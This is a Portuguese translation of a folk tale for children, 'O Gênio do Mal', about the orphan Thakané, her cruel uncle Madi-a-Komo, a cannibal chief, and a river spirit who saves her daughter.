O Gênio do Mal – Conto Infantil Indígena

O GÊNIO DO MAL

HAVIA uma mocinha meiga e formosa chamada Thakané, órfã de pai e mãe. Fora recolhida ainda criança, por seu tio Madi-a-Komo, cujo nome significa Sangue-de-Boi, e que era um homem cruel.

Madi-a-Komo não recolhera a sobrinha senão para fazê-la trabalhar duramente em seu proveito.

Pensara também que, quando ela fosse grande, a sua beleza, já notável em criança, a faria encontrar um esposo muito rico, grande chefe, que possuisse numerosos rebanhos. Assim êle, como tio, receberia um grande número de bois no dia em que lha desse em casamento.

Com efeito, se bem que muito nova ainda, Thakané foi pedida em casamento por um chefe extremamente rico.

Ela, porém, recusou desposá-lo.

A partir desse momento, seu tio principiou a odiá-la e maltratá-la.

Um dia, Madi-a-Komo estava nos campos com Soyané, sua mulher.

Thakané ficara só em casa.

Numa larga pedra chata, com uma pedra menor, esmagava grãos transformando-os em farinha.

Saio, o filho de Madi-a-Komo, e que era ainda criança, encontrava-se na vizinhança, perto do cerrado onde estavam os bois e os carneiros.

Era êle quem devia levar ao pasto esses animais.

Entrou no páteo, cercado de canaviais, que havia diante da choupana.

— Thakané — disse à mocinha — dá-me Kumongoé.

Kumongoé era o nome de um arbusto precioso que crescia na própria choupana.

Quando nele se fazia um corte com um machado, saía leite um pouco ácido, com sabor a leite coalhado.

O pai e a mãe saboreavam-no com delícia, dando-o também ao filho; mas a mocinha não tinha licença de tocar no arbusto.

Nunca Thakané provara daquele leite.

— Não sabes — respondeu ela a Saio — que nem tu nem eu devemos tocar no Kumongoé?

— Se assim é, não levarei o gado ao pasto. Thakané nada respondeu, e a criança sentou-se no páteo.

Passado um instante, disse-lhe ela:

— Quando levas o gado para o pasto?

— Não pastará hoje em todo o dia. Refletindo que seria muito prejudicial aos bois e aos carneiros passarem o dia sem pastarem, a mocinha tomou uma pequena vasilha na mão esquerda, um machado na direita e aproximando-se do Kumongoé, feriu-o levemente com o machado.

Saiu do arbusto um pouco de leite, que ela deu a Saio, mas a criança recusou-o, dizendo que era muito pouco para matar a fome.

— Ficará o gado no estábulo — acrescentou.

Então Thakané levantando de novo o machado, feriu a pequena árvore com mais força. Desta vez saiu leite em abundância. Era como um regato, correndo no solo. Assustada, a mocinha chamou a criança.

— Vem depressa em meu auxílio! A árvore de teus pais derrete-se. A cabana já está cheia de leite!

Debalde tentaram deter o leite com as mãos. Corria sempre mais abundantemente, saía da cabana e enchia o páteo.

E como, conforme o uso do país, a cabana estava situada numa eminência, a onda branca

principiou a descer para os campos, onde Madi–a-Komo trabalhava com a mulher.

O homem viu de longe o regato de leite.

— Soyané — disse. Eis que o leite do Kumongoé está correndo para nós. Talvez que Saio fizesse alguma tolice, ou, antes essa desobediente Thakané. Ah! pagá-lo-á bem caro!

Atirando ao chão as enxadas com que capinavam o solo, os dois esposos lançaram-se ao encontro do Kumongoé.

De joelhos, tomaram leite nas mãos e puseram-se a beber.

Apenas o tocaram com os lábios, a onda recuou por si mesma, voltando para a cabana e reentrando na casca vazia do arbusto.

O Kumongoé voltou ao seu primitivo estado.

Chegados à casa, os pais interrogaram o filho e a moça.

Ambos disseram a verdade, mas Madi-a–Komo fêz recair toda a culpa em Thakané.

— Visto que me desobedeceste — disse — e não posso fazer de ti nada de bom, levar-te-ei ao Canibal, do outro lado das colinas, que te devorará.

Soyané que não era má tremia diante do marido, e soltou um grito.

— Como farás semelhante coisa? Não é ela tua sobrinha? Acaso a sua falta é tão grave?

— Feriu o Kumongoé com o machado, e se a deixássemos continuar, chegaria a bebê-lo. Todos os pedidos serão inúteis: morrerá.

Madi-a-Komo sentia alegria em desabafar o seu ódio contra a moça.

Contava também que o Canibal, muito guloso de carne humana com tanto que fosse nova e tenra, lhe desse, pelo menos, uma junta de bois em troca de Thakané.

Disse depois à mulher que amassasse a farinha e a cozesse.

Ele mesmo matou dois carneiros e assou-os.

— Ah! não quiseste desposar o chefe que nos teria enriquecido, mas serás vendida ao Canibal. Vou enfeitar-te, para que êle goste de você.

Partiu com Thakané

 

Então, com as peles dos dois carneiros, bem secas, depois de untadas de gordura e terra vermelha, para que ficassem mais brilhantes, fêz com elas uma espécie de capa para a moça.

Deram-lhe também uma saia de peles, com franjas.

Thakané que usava todos os dias os mais pobres vestidos, feitos de ervas tecidas, ficou assim adornada para ir ao encontro da morte.

Para que não pudesse fugir o tio mandou chamar um ferreiro que cravou pesados anéis de ferro ao pescoço, aos braços e às pernas de Thakané.

Não se importando com as súplicas de sua mulher e filho, nem com as recriminações dos vizinhos, Madi-a-Komo partiu com a mocinha. Antes de transpor as colinas que separavam o seu país da aldeia onde habitava o Canibal, atravessaram campos cultivados.

Era o tempo das ceifas e não se viam erguidos caules elevados, nem balançar-se ao vento as compridas folhas de sorgo.

De súbito, de um tufo de ervas surgiu um coelho, que perguntou:

— Madi-a-Komo, para onde levas essa criança tão bela e tão formosa?

— Podes interrogá-la, é já bastante grande para te responder.

Então Thakané disse em voz triste e doce:

— Dei o leite do Kumongoé ao pastorzinho, e agora meu tio leva-me para ser devorada pelo Canibal!

— Madi-a-Komo! — exclamou o coelho. — Oxalá que sejas tu, e não esta criança, quem seja devorado peio Canibal!

Um pouco mais adiante, fizeram uma parada para comerem.

Depois, tendo prosseguido viagem, encontraram dois veadinhos, que fizeram ao homem a mesma pergunta que o coelho.

Deu êle a mesma resposta que precedentemente, e Thakané disse no mesmo tom suave e triste, as palavras que antes proferira.

Então os veadinhos exclamaram:

— Devias ser tu a morrer, Madi-a-Komo, em vez dela!

Pela tarde os viajantes fizeram nova parada para comerem.

Depois, andaram ainda um pouco mais.

Veiu a noite e estenderam-se ao solo para repousar, mas a pobre Thakané não conseguiu dormir.

No dia seguinte, encontraram diversas gazelas.

— Madi-a-Komo — disseram os graciosos animais — para onde levas essa jovem tão bela e tão formosa?

— Perguntai-lho; é já bastante grande para responder-vos.

Então Thakané disse em voz triste e doce:

— Dei o leite de Kumongoé ao pastorzi-nho e agora meu tio leva-me para ser devorada pelo Canibal!

As gazelas exclamaram:

— Madi-a-Komo, que sejas tu, e não ela, quem seja devorado pelo Canibal!

Por fim, chegaram à aldeia em que habitava o chefe comedor de carne humana.

Outrora, todos os habitantes daquela região tinham sido canibais. Presentemente só o velho chefe muito vigoroso ainda, continuava a praticar o antigo uso.

Ninguém tentava desviá-lo de tal costume porque êle era o chefe e não ousavam censurar-lhe uma prática que fora durante muitos séculos de toda a tribu.

Havia no meio da aldeia uma praça redonda cercada de ramos de árvores.

Quando ali chegaram os viajantes estava cheia de gente.

Masilo o filho do velho chefe, encontrava–se lá, discutindo com outros os assuntos que diziam respeito à tribu. Ouviam-no com muita atenção.

Masilo ficou logo surpreso pela beleza de Thakané e pelas argolas que lhe prendiam os membros.

Interrogou o recém-chegado sobre o que ali o levava.

Madi-a-Komo deu, uma vez mais, a resposta já dada, dizendo a todos o cruel castigo que a esperava.

Masilo estremeceu à lembrança de que a formosa rapariga ia ser entregue à selvagem voT racidade do seu pai.

— Vai ter com o chefe — disse êle a Madi–a-Komo — e fala-lhe. Esta criança não lhe será levada sem que meu pai a requisite.

Em seguida, fêz conduzir Thakané à casa de sua mãe, que habitava sozinha e tiraram-lhe os anéis de ferro.

Ao mesmo tempo, um servo conduziu Madi–a-Komo à presença do chefe.

— Teu filho Masilo, — disse — envia-te este homem, para te saudar.

Madi-a-Komo preparava-se para explicar ao chefe o motivo da sua vinda ali quando este, interrompendo-o às primeiras palavras, lhe gritou com voz rouca:

— Como te chamas?

— Madi-a-Komo.

— Está bem! Vamos vêr se o teu nome diz a verdade e se o teu sangue tem, realmente, o gosto do sangue de boi.

Encontraram diversas gazelas
Encontraram diversas gazelas

 

Ao proferir estas palavras, o velho Canibal lançou-se sobre o homem.

Agarrando-o com as duas mãos, precipitou-o numa grande panela, cheia de água a ferver.

Quando a sua presa ficou convenientemente cozida, o velho saciou-se.

Depois lançou para fora os ossos da vítima, com os restos de carne.

Alguma coisa, porém, de Madi-a-Komo não fora ainda tocada pelo Canibal, e não estava morta.

Era o seu coração, esse coração tão duro, tão incapaz de piedade!

O coração foi enterrado no solo.

Quando Thakané foi informada do horrível fim do tio, chorou, e ela própria se preparava para a morte, quando Masilo lhe disse:

— Se assim o quiseres desposar-te-ei e meu pai não tocará num só cabelo da tua cabeça.

Até então, Masilo não quisera nunca casar-se. Recusava todas as moças que lhe propunham, mas ficara comovido e impressionado desta vez pela beleza de Thakané, e pela sua infelicidade.

Consentiu ela em ser sua esposa e viveram muito felizes na aldeia.

Passado algum tempo, Deus lhes deu uma filha.

A sogra, apreensiva, exclamou:

— Ah! minha, filha, separar-te-ão de tua filha imediatamente, para nunca mais a veres.

Naquela aldeia, quando nascia uma menina, levavam-na ao Canibal, que a devorava.

Assim, não se viam ali senão rapazes.

Aquele que, homem feito, queria casar-se, ia procurar esposa na região circunvizinha.

Avisado por um servo de que lhe nascera uma menina, Masilo chegou, com o coração constrangido de tristeza.

O costume da terra fazia-lhe horror, mas todos o haviam respeitado até àquele dia.

Se Masilo quisesse defender a filha, acusa-lo-iam de se revoltar contra o pai e de não aceitar a lei a que todos tinham obedecido.

— Masilo — disse Thakané — vão-me roubar minha filha! Por quê?

O jovem calava-se.

Fitou a mãe, para que ela respondesse em seu lugar. j

— Minha filha — disse a velha em voz trêmula — é preciso que meu marido cuide de tua filha.

Thakané compreendeu a espantosa coisa que não ousavam dizer-lhe.

— Não! não! No meu país não se comem os filhos! Não quero que levem a minha filha!

A sogra respondeu-lhe:

— Aqui, é preciso não ter filhas. Thakané apertou a filha nos braços.

— Masilo — disse — não defenderás tua filha?!

— Toda a aldeia — respondeu o jovem chefe — virá arrancá-la das nossas mãos.

— Pobre filha! Não posso salvar-te, pois que são todos contra ti.

Mas não te deixarei devorar pelo Canibal. No lugar em que morreres, serei eu mesma que hei-de enterrar-te.

Então, agarrando a filha nos braços, saiu da cabana.

Masilo pôs-se diante da porta e ninguém dos que ali estava ousou perseguir Thakané, que desceu rapidamente ao rio.

Caía a noite no momento em que Thakané saiu de casa.

Chegou a um lugar em que o rio formava uma bacia profunda, cercado de canaviais altíssimos.

Cansada, sentou-se à beira da água e chorou, não sabendo o que fazer.

De resto, se tentasse fugir, para onde iria?

Como encontraria o que comer?

— Não tenho senão uma coisa a fazer — pensou: esconder-me nos canaviais, e esperar a morte, que em breve nos levará, a mim e a esta pobre criaturinha.

De súbito, uma velha saiu das águas e apareceu entre os canaviais.

À luz das estrelas, Thakané pôde entre-ver-lhe o rosto: era cheio de compaixão e meiguice.

— Por que choras, minha filha? — perguntou a velha.

— Choro pela minha filha, que vai morrer.

— É verdade: na tua aldeia não devem nascer senão rapazes. Dá-me a tua filha, que eu a tomarei a meu cuidado. Dize-me só a época em que desejas tornar a vê-la, e vem então chamar-me à beira do rio.

Thakané confiou-lhe a filha, e fixou o dia em que viria chamá-la à beira do rio.

Depois, viu-a submergir-se na água com a criança e regressou à casa.

Apenas entrou na cabana, deitou-se e nem Masilo, nem a sogra ousaram interrogá-la.

A criança já lá não estava e como não se encontrou o seu corpo em nenhuma parte, pensaram que Thakané, não podendo salvá-la, a afogara no rio.

Quando chegou o dia aprazado, Thakané encaminhou-se para o rio.

Abraçou sua filhinha
Abraçou sua filhinha

 

Era a hora em que o sol já não está muito alto no horizonte.

Logo que chegou à beira da água, disse Thakané:

— Escutaste-me um dia de aflição; deverás reconhecer a minha voz. Vem boa velhinha, aparece-me com a minha filha.

Então, a velha apareceu com a criancinha, que já tinha crescido bastante; desenvolvera-se muito mais rapidamente do que o comum das crianças.

A mãe rejubilou, permanecendo muito tempo à beira da água com a filha, não se cansando de a vêr, de a abraçar, de lhe falar e de a ouvir.

Depois do pôr-do-sol, a velha tomou-a de novo, e desapareceu com ela no fundo das águas.

Thakané voltou assim a vêr sua filha em épocas fixas.

Logo que lhe pressentia o apelo, a velha trazia-lhe a criança, que ia crescendo de forma surpreendente. Ao fim de um ano, dir-se-ia uma mocinha de dez anos.

A mãe tivera o cuidado de escolher para as suas visitas a hora em que as margens do rio estavam habitualmente desertas.

Mas um dia um homem da aldeia, que viera cortar cana naqueles lugares, avistou a graciosa criança junto da mãe.

Surpreendeu-se ao vê-la e notou a sua semelhança com Masilo.

Depois retirou-se sem ser visto e, regressando à aldeia, foi ter com o jovem chefe.

— Na margem do rio — disse-lhe — vi tua mulher em companhia de tua filha a que se julgava afogada. O que me surpreende é que a pequena é quasi uma rapariga feita.

— Como pode ser minha filha? — disse Masilo.

— Parece-se muito contigo. E, depois, vi bem de que maneira Thakané a olhava e beijava.

A partir desse momento Masilo espiou sua mulher. Quando saía sozinha seguia-a, para vêr se se dirigia para o rio.

Um dia Thakané tomou essa direção.

A princípio Masilo seguiu-a de longe; depois, dando uma grande volta, deitou a correr, para chegar antes dela à beira do rio e agachou–se entre os grandes canaviais, ficando à sua espera.

Chegou Thakané e pôs-se a chamar a velha.

Esta saiu da água com a pequena, que se lançou nos braços da mãe.

Masilo não teve dúvida de que era sua filha, e sentiu as lágrimas correrem-lhe pelas faces.

A velha disse a Thakané:

— Tenho medo; parece que alguém nos está espiando.

Logo tomou de novo nos braços a linda criança e desceu para o fundo das águas, regressando Thakané à aldeia.

Masilo também para lá se dirigiu, mas por outro caminho. Ao passar diante da cabana da mãe, entrou no pátio.

Não estava ninguém ali.

Masilo sentou-se e chorou por muito tempo.

Foi assim que sua mãe o foi encontrar uma hora depois.

— Meu filho — disse —por que choras? Masilo respondeu que lhe doía muito a cabeça e, levantando-se, regressou à cabana.

— Thakané — disse êle à mulher — acabo de vêr a nossa filha.

— Não sei o que queres dizer — respondeu Thakané.

Durante muito tempo Masilo pediu à mulher que lhe confiasse tudo, e lhe trouxesse a filha.

Thakané acabou por dizer-lhe:

— Se ta trouxer, devorá-la-á teu pai.

— Não; agora, que a nossa filha é já grande, não tem nenhum direito sobre ela e, se ma pedisse, eu saberia muito bem defendê-la.

No dia seguinte Thakané dirigiu-se ao rio e chamou a velha.

— Masilo viu-nos ontem e pede-me insistentemente que lhe leve a filha.

— Que me dê mil cabeças de gado — respondeu a velha — e restituo-lh’a.

Quando Thakané levou esta respostas ao marido, êle exclamou ébrio de alegria:

— Sim, dá-las-ei. Teria até podido pedir duas mil, visto que, sem a sua intervenção, a minha filha morreria!

Das pastagens da região mandou vir todo o gado, com os seus guardadores.

Quando chegaram os rebanhos, escolheu dentre os mais belos animais quinhentos bois e quinhentas vacas.

Caminhava à frente com a mulher.

Quando chegou à beira da água, Thakané repetiu:

— Escutaste-me num dia de aflição; deverás reconhecer a minha voz. Vem, boa velhinha; aparece-me com minha filha.

Então a velha saiu das águas, trazendo pela mão uma lindíssima mocinha que parecia ter cerca de quinze anos.

Masilo beijou a filha, com lágrimas de felicidade.

Todo o povo viu a menina tão maravilhosamente salva da morte e deitaram ao rio o gado prometido à velha.

Sob as águas estendia-se um vasto país, em que vivia um povo numeroso, que ela governava em paz e onde havia também esplêndidas pastagens.

Quando regressaram à aldeia a mãe de Masilo, disse ao filho:

— É preciso agora conduzir Thakané ao seu país, para visitar os parentes que lhe restam. Receberão como presente o gado que é de uso oferecer à família da desposada, e travareis amizade com toda a tribu.

Pouco tempo dois, a Providência presenteou-os com um menino.

Quando chegou a ocasião, Masilo pôs-se a caminho, com um séquito numeroso de criados, criadas, e o gado, presente do casamento.

Thakané, levava às costas o filhinho, envolvido numa pele de carneiro muito flexível. A filha caminhava a seu lado.

Ao cair da noite, pararam para cear e dormir.

No dia seguinte, os viajantes aproximaram–se do estreito desfiladeiro por onde Thakané passara com seu tio.

Ia adiante, porque só ela conhecia o caminho que levava à aldeia.

De súbito percebeu que um grande rochedo fechava, quasi por completo, o desfiladeiro.

— Que quererá significar aqui este rochedo? — perguntou.

— Não o viste quando por aqui passaste? — disse Masilo.

— Não: este rochedo não se encontrava aqui; a passagem estava livre!

Assim falando, continuaram a avançar com os outros e com o gado. Quando chegaram ao desfiladeiro, a poucos passos do rochedo, viram

que essa massa, de aspecto sinistro, abria duas enormes cavernas de pedra, entre as quais se entrevia um abismo negro. E o rochedo disse:

— Thakané, minha filha: tu, que vais à frente, e vós que vos dirigis à minha aldeia, se tentares forçar a passagem, prender-vos-ei, co-mer-vos-ei, engulir-vos-ei a todos vós.

Este espantoso rochedo não era outro senão Madi-a-Komo.

Thakané reconheceu-lhe a voz.

Aterrada, disse a Masilo:

— É meu tio: veiu esperar-nos. Resolveram, porém, passar, apesar de tudo.

Os criados impeliram o gado para a frente, para o lado em que o rochedo lhes obstruía completamente a passagem; mas à medida que avançavam, os bois foram apanhados no abismo.

Os criados, as criadas e os homens, obstinavam-se em querer passar, mas foram engulidos.

Thakané exclamou desesperada:

— Levaste os bois! Levaste os homens! Pois bem, leva-nos também a nós! Leva!

Então, deixou-se prender com o marido e os filhos.

O rochedo enguliu-os de uma vez, e chegaram juntos às suas entranhas de pedra.

O interior de Madi-a-Komo era mesmo uma vasta caverna. Já outros viajantes tinham sido tragados por êle; alguns ainda estavam vivos.

Os amigos e os criados do jovem chefe, que estavam armados, principiaram a furar as entranhas do rochedo, para passarem através, au-xiliando-os Masilo com todas as suas forças.

Uns a golpes de machado, outros com facas, praticaram uma abertura e a brecha, por fim, foi bastante larga para deixar passar alguns homens.

Todos os prisioneiros se apressaram a sair. Os criados de Masilo levaram o gado adiante de si.

Apenas sairam, o rochedo mal sustentado, ruiu com terrível explosão.

Masilo e Thakané, seus filhos, e todos da tribu, prosseguiram alegremente o seu caminho e em breve chegaram à aldeia de Thakané.

A sua chegada foi tida como um verdadeiro acontecimento por Soyané, tia da jovem, e por Saio, seu primo, e da mesma maneira por todos os habitantes do país, que julgavam Thakané morta há muito tempo.

Alegraram-se e choraram de comoção.

Depois, abateram um grande número de cabeças de gado, para festejarem dignamente a visita de Thakané e Masilo.


FIM


Tradução e Adaptação de Leoncio de Sá Ferreira

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